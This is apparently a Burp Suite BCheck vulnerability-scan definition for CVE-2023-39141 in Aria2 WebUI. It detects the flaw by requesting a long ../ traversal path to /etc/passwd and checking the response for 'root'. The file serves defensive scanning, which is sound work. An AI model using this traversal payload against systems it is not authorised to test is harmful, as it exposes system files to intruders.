CVE-2023-39141 Aria2 WebUI - Path Traversal.bcheck

metadata:
    language: v1-beta
    name: "CVE-2023-39141 Aria2 WebUI - Path Traversal"
    description: "Check for CVE-2023-39141"
    author: "DemonGod"
    tags: "CVE-2023-39141","lfi","unauth","aria2","webui"

define:
    base_path = "/"
    potential_path = "/../../../../../../../../../../../../../../../../../../../../etc/passwd"

given host then
    send request called check1:
        method: "GET"
        path: {base_path}

    if "Aria2 WebUI" in {check1.response.body} then
        send request called check2:
            method: "GET"
            path: {potential_path}

        if {check2.response.status_code} is "200" and "root" in {check2.response.body} then
            report issue:
            severity: high
            confidence: certain
            detail: "webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability."
            remediation: "Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability."
        end if

    end if